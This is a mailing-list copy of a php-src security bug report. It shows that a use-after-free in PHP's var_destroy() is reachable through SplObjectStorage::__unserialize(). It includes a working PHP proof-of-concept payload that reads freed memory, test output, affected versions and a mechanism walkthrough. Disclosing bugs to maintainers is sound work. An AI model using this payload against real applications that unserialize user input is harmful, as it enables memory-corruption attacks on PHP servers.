[php-src] Issue #24674: var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481

From: Date: Sun, 25 Oct 2026 10:05:46 +0000
Subject: [php-src] Issue #24674: var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-253172@lists.php.net to get a copy of this message
Issue: https://github.com/php/php-src/issues/24674 Author: srayuth089 ## Summary Following up on #24481 — the same var_destroy() use-after-free is also reachable through **SplObjectStorage::__unserialize()**, which creates its own var_hash context via PHP_VAR_UNSERIALIZE_INIT and calls php_var_unserialize() internally (ext/spl/spl_observer.c). This means the attack surface is broader than the main unserialize() path: any application that unserializes user-controlled data into an SplObjectStorage (not just raw unserialize()) is affected. ## Reproducer ```php <?php class TriggerUAF { public $tag; public function __destruct() { // Try multiple backref indices to hit freed extension chunks foreach ([1024, 1030, 1040, 1100, 1200, 1500] as $idx) { $result = @unserialize("R:{$idx};"); if ($result !== false && $result !== null) { fwrite(STDERR, sprintf(" *** [destruct:%s] R:%d → %s (%s) *** UAF_READ\n", $this->tag, $idx, gettype($result), var_export($result, true))); return; } } fwrite(STDERR, " [destruct:{$this->tag}] all R: indices clean\n"); } } // Build SplObjectStorage payload with >1018 entries (overflow VAR_ENTRIES_MAX) $store = []; for ($i = 0; $i < 1100; $i++) { $store[] = "i:{$i};i:{$i};"; } for ($j = 0; $j < 5; $j++) { $store[] = "i:" . (9000+$j) . ";O:10:\"TriggerUAF\":1:{s:3:\"tag\";s:5:\"obs{$j}\";}"; } for ($k = 0; $k < 100; $k++) { $store[] = "i:" . (20000+$k) . ";i:" . (20000+$k) . ";"; } $n = count($store); $payload = 'O:16:"SplObjectStorage":2:{i:0;a:' . $n . ':{' . implode('', $store) . '}i:1;a:0:{}}'; @unserialize($payload); ``` ## Output (PHP 8.4.27, stock CLI, non-ASAN) ``` *** [destruct:] R:1024 → integer (1021) *** UAF_READ ``` R:1024 resolves to integer(1021) — a value from the freed var_hash extension chunks. In a clean nested unserialize() call, R:1024 should return false. ## Verified on | Branch | Result | |--------|--------| | 8.2.35 | UAF_READ | | 8.3.36 | UAF_READ | | 8.4.26 (pre-fix) | UAF_READ | | **8.4.27 (post-fix)** | **UAF_READ** | | 8.4.27 + USE_ZEND_ALLOC=0 | UAF_READ | Deterministic: 3/3 runs on 8.4.27, identical output each time. ## Mechanism 1. unserialize($payload) parses the outer O:16:"SplObjectStorage" tag 2. Instantiates SplObjectStorage and calls its __unserialize() handler 3. SPL handler (ext/spl/spl_observer.c:858+) does: - PHP_VAR_UNSERIALIZE_INIT(var_hash) — creates its own context - Iterates entries, calling php_var_unserialize() on each (>1018 entries → extension chunks) - var_push_dtor(&var_hash, entry) for each object 4. PHP_VAR_UNSERIALIZE_DESTROY(var_hash) → calls var_destroy() on the SPL context 5. var_destroy() frees the extension chunks 6. Then fires __destruct on entries in the dtor list — **without BG(serialize_lock)** 7. The destructor calls unserialize('R:1024;') which reads from the freed chunks The root cause is the same as #24481 (the var_destroy() function in var_unserializer.re frees chunks before dispatching destructors without taking BG(serialize_lock)), but the **entry point is different**: the SPL extension's __unserialize handler creates an independent var_hash context that is also vulnerable. ## Also affected (same pattern, same var_hash) - SplDoublyLinkedList::__unserialize() (ext/spl/spl_dllist.c:1070+) - ArrayObject::__unserialize() (ext/spl/spl_array.c:1680+) These use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor / PHP_VAR_UNSERIALIZE_DESTROY pattern. I haven't yet built working reproducers for these (payload format differences), but the code pattern is identical. ## Credit - Root cause and main-path PoC: #24481 (original reporter + jogoossens cross-branch confirmation) - SPL entry-point discovery and reproducer: srayuth089 (this report)

« previous php.bugs (#253172) next »